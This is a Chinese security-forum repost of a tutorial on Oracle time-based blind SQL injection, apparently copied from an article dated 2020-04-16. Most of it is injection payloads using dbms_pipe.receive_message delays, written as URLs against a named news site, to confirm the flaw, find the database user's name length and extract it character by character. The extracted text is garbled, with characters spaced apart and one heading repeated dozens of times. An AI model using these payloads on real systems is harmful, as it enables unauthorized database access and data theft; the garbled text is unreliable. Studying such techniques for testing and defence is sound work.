设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [26626] 2020-04-16_SQL注入基础oracle延时注入
返回列表 发新帖
查看: 2|回复: 0

[26626] 2020-04-16_SQL注入基础oracle延时注入

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 4 天前 | 显示全部楼层 |阅读模式
2020-04-16_SQL注入基础oracle延时注入 S Q L 注 入 基 础   o r a c l e   延 时 注 入 原 创   m O o n   m o o n s e c   2 0 2 0 - 0 4 - 1 6 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 o r a c l e   延 时 注 入 延 时 注 入 1 简 介 简 介 D B M S _ L O C K . S L E E P ( ) 函 数 可 以 让 一 个 过 程 休 眠 很 多 秒 ， 但 使 用 该 函 数 存 在 许 多 限 制 。 首 先 ， 不 能 直 接 将 该 函 数 注 入 子 查 询 中 ， 因 为 O r a c l e 不 支 持 堆 叠 查 询 ( s t a c k e d   q u e r y ) 。 其 次 ， 只 有 数 据 库 管 理 员 才 能 使 用 D B M S _ L O C K 包 。 在 O r a c l e   P L / S Q L 中 有 一 种 更 好 的 办 法 ， 可 以 使 用 下 面 的 指 令 以 内 联 方 式 注 入 延 迟 ： d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ ,   1 0 ) D B M S _ P I P E . R E C E I V E _ M E S S A G E 函 数 将 为 从 R D S 管 道 返 回 的 数 据 等 待 1 0 秒 。 默 认 情 况 下 ， 允 许 以 p u b l i c 权 限 执 行 该 包 。 D B M S _ L O C K . S L E E P ( ) 与 之 相 反 ， 它 是 一 个 可 以 用 在 S Q L 语 句 中 的 函 数 。 2 注 注 入 入 技 巧 技 巧 延 时 注 入   属 于 盲 注 入 的 一 种 ， 适 用 的 场 景 较 多 ， 基 本 上 任 何 注 入 都 可 以 使 用 这 种 注 入 方 式 进 行 测 试 。 3 判 判 断 断 注 入 注 入 h t t p : / / w w w . j s p o r c l e . c o m / n e w s . j s p ? i d = - 1   o r   1 =   d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ' R D S ' ,   1 0 ) - - h t t p : / / w w w . j s p o r c l e . c o m / n e w s . j s p ? i d = 1   a n d   1 = d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ' R D S ' ,   1 0 ) - - 如 果 页 面 延 时 1 0 秒 返 回 ， 即 存 在 注 入 。 4 延 延 时 时 注 入 注 入 从 上 一 节 盲 注 入 里   介 绍 了   两 种 布 尔 型 盲 注 入 方 式 ， 一 种 是 d e c o d e 盲 注 入 ， 另 外 一 种 是 逐 字 猜 解 法 盲 注 入
这 里 可 以 使 用 d e c o d e 盲 注 入 a n d   1 = ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 1 , 1 ) , ’ S ’ , 1 , 0 )   f r o m   d u a l )   - - 在 d e c o d e 注 入 里 加 入 延 时 语 句 。 a n d   1 = ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 1 , 1 ) , ’ S ’ , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ , 1 0 ) , 0 )   f r o m   d u a l )   — h t t p : / / w w w . j s p o r c l e . c o m / n e w s . j s p ? i d = 1   a n d   1 = ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 1 , 1 ) , ' S ' , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ' R D S ' , 5 ) , 0 )   f r o m   d u a l )   - - 5 查 查 询 询 数 据 数 据 首 先 判 断 长 度   6 ( s e l e c t   d e c o d e ( l e n g t h ( u s e r ) , 6 , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ ,   1 0 )   , 0 )   f r o m   d u a l ) ; 网 站 测 试 语 句 h t t p : / / w w w . j s p o r c l e . c o m / n e w s . j s p ? i d = 1   a n d   1 = ( s e l e c t   d e c o d e ( l e n g t h ( u s e r ) , 6 , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ' R D S ' , 1 0 ) , 0 )   f r o m   d u a l ) - - 查 询 第 一 个 字 符 ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 1 , 1 ) , ’ S ’ , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ ,   1 0 ) , 0 )   f r o m   d u a l )   - - ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 2 , 1 ) , ’ Y ’ , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ ,   1 0 ) , 0 )   f r o m   d u a l )   - - ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 3 , 1 ) , ’ Y ’ , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ ,   1 0 ) , 0 )   f r o m   d u a l ) - - ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 4 , 1 ) , ’ T ’ , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ ,   1 0 ) , 0 )   f r o m   d u a l ) - - ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 5 , 1 ) , ’ E ’ , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ ,   1 0 ) , 0 )   f r o m   d u a l ) - - ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 6 , 1 ) , ’ N ’ , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ‘ R D S ’ ,   1 0 ) , 0 )   f r o m   d u a l ) - - h t t p : / / w w w . j s p o r c l e . c o m / n e w s . j s p ? i d = 1   a n d   1 = ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 1 , 1 ) , ' S ' , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ' R D S ' , 1 0 ) , 0 )   f r o m   d u a l )   - - 如 果 你 觉 得 文 章 还 不 错 ， 就 请 点 击 右 上 角 选 择 发 送 给 朋 友 或 者 转 发 到 朋 友 圈 。 您 的 支 持 和 鼓 励 是 我 们 最 大 的 动 力 。 喜 欢 就 请
转 发 到 朋 友 圈 。 您 的 支 持 和 鼓 励 是 我 们 最 大 的 动 力 。 喜 欢 就 请 关 注 我 们 吧 ~ 长 按 二 维 码 关 注 我 们 6 正 文 正 文

回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 07:24 , Processed in 0.290608 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表